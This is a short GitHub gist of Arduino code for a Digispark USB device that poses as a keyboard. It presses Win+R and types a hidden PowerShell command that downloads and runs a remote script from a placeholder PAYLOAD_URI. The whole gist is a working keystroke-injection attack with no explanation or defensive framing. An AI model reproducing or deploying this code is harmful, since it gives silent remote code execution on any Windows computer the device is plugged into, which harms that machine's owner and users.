Skip to content

Instantly share code, notes, and snippets.

@Hritik14
Created December 1, 2019 18:58
Show Gist options
  • Save Hritik14/1a3f0f7906cf2f47e8d980c24b630c66 to your computer and use it in GitHub Desktop.
Save Hritik14/1a3f0f7906cf2f47e8d980c24b630c66 to your computer and use it in GitHub Desktop.
#include "DigiKeyboard.h"
#define LED_PIN 1
void setup() {
pinMode(LED_PIN, OUTPUT);
}
void loop() {
// put your main code here, to run repeatedly:
digitalWrite(LED_PIN, LOW);
DigiKeyboard.sendKeyStroke(0);
// Assuming US keyboard layout (kernel default)
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(200);
DigiKeyboard.println("powershell -windowstyle hidden \"IEX (New-Object Net.WebClient).DownloadString('PAYLOAD_URI');\"");
digitalWrite(LED_PIN,HIGH);
DigiKeyboard.delay(20000);
// Plug it out already
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment